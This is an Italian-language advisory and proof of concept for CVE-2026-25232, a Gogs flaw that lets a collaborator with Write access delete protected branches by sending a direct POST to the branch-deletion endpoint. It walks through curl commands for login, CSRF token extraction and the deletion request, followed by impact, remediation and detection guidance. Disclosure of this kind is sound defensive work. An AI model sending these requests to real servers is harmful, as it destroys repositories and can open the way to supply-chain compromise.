CVE-2026-25232 — Bypass dell'eliminazione di branch protetti in Gogs (Escalation da Write ad Admin)

Panoramica

Descrizione

CVE-2026-25232 è una vulnerabilità di bypass del controllo degli accessi nell'interfaccia web di Gogs. Consente a qualsiasi collaboratore del repository con permessi Write di eliminare branch protetti — incluso il branch predefinito — inviando una richiesta POST diretta all'endpoint DeleteBranchPost, bypassando completamente i meccanismi di protezione dei branch.

La causa principale è una discrepanza tra il modo in cui il livello Git Hook e l'interfaccia web applicano la protezione dei branch:

• Git Hooks (SSH): Bloccano correttamente l'eliminazione di branch protetti tramite operazioni push SSH
• Interfaccia web: La funzione DeleteBranchPost non attiva i Git Hooks, quindi il controllo di protezione non viene mai eseguito

Ciò consente a un collaboratore con privilegi bassi di eseguire operazioni che dovrebbero essere riservate esclusivamente agli amministratori del repository.

Prerequisiti

• Un account Gogs registrato
• Permessi di scrittura su un repository di destinazione
• Branch protetti configurati sul repository di destinazione
• Accesso di rete all'interfaccia web di Gogs

Proof of Concept

Ambiente

• Target: http://<TARGET>:3001
• Account attaccante: attacker:Password123! (permessi Write sul repo)
• Repo di destinazione: admin/important-repo
• Branch protetto: main (branch predefinito)

Passaggio 1 — Verificare che la protezione del branch sia attiva

Confermare che il branch sia protetto e non possa essere eliminato tramite i mezzi normali:

# Tentativo di eliminazione normale del branch tramite API - dovrebbe fallire
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Risposta prevista: 403 Forbidden o errore di protezione.

Passaggio 2 — Ottenere un token CSRF valido

Recuperare il token CSRF da qualsiasi pagina autenticata:

curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Estrarre il token CSRF da una pagina del repo
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Passaggio 3 — Bypass della protezione tramite POST diretto a DeleteBranchPost

Inviare una richiesta POST diretta all'endpoint di eliminazione del branch, bypassando il controllo di protezione:

curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

Il branch protetto viene eliminato nonostante l'attaccante abbia solo permessi Write.

Passaggio 4 — Verificare l'eliminazione

curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

Il branch main non comparirà più nella risposta.

Perché funziona

La funzione DeleteBranchPost nell'handler web di Gogs verifica che l'utente sia autenticato e abbia accesso Write al repository, ma non controlla se il branch di destinazione è protetto:

HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Controllo: L'utente è autenticato? ✓
Controllo: L'utente ha accesso Write? ✓
Controllo: Il branch è protetto? ✗ (MANCANTE)
    ↓
Branch eliminato con successo

Il livello Git Hook che applica la protezione dei branch viene attivato solo durante le operazioni push/delete Git tramite SSH o protocollo Git HTTP — non durante le operazioni dell'interfaccia web. Questa lacuna architetturale consente a qualsiasi collaboratore di livello Write di eseguire questa operazione.

Impatto

Un collaboratore malintenzionato con permessi Write può:

• Eliminare qualsiasi branch protetto, incluso il branch predefinito
• Distruggere la linea principale di sviluppo del repository
• Interrompere le pipeline CI/CD che dipendono dal branch protetto
• Eseguire force-push o ricreare branch senza protezione, consentendo l'iniezione di codice nelle pipeline di produzione
• Scalare i privilegi effettivi da livello Write ad Admin per le operazioni di gestione dei branch

In ambienti in cui i repository Gogs alimentano pipeline di distribuzione automatizzate, ciò potrebbe portare a un compromesso della supply chain.

Rimedio

Aggiornare a Gogs v0.14.1 o successivo. La correzione aggiunge controlli di autorizzazione adeguati nella funzione DeleteBranchPost per verificare lo stato di protezione del branch prima di consentire l'eliminazione, indipendentemente da come viene effettuata la richiesta.

Come mitigazione temporanea:

• Limitare l'accesso Write al repository ai soli utenti altamente fidati
• Implementare controlli di accesso a livello di rete per limitare chi può raggiungere l'interfaccia web di Gogs
• Monitorare i log del server web per richieste POST inattese a /repos/{owner}/{repo}/branches/delete
• Utilizzare soluzioni di backup esterne per mantenere copie dei branch protetti

Rilevamento

Cercare i seguenti indicatori di sfruttamento:

• Richieste POST inattese a /<owner>/<repo>/branches/delete nei log del server web
• Branch protetti eliminati senza corrispondente attività Git Hook nei log
• Eventi di eliminazione di branch da parte di utenti che non dispongono di privilegi Admin
• Branch predefinito mancante o modificato inaspettatamente

Riferimenti

• GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
• Gogs v0.14.1 Release
• CWE-863: Incorrect Authorization

Disclaimer

Questo PoC è solo a scopo educativo e per test di sicurezza autorizzati. Non utilizzarlo contro sistemi per i quali non si dispone di esplicita autorizzazione al test.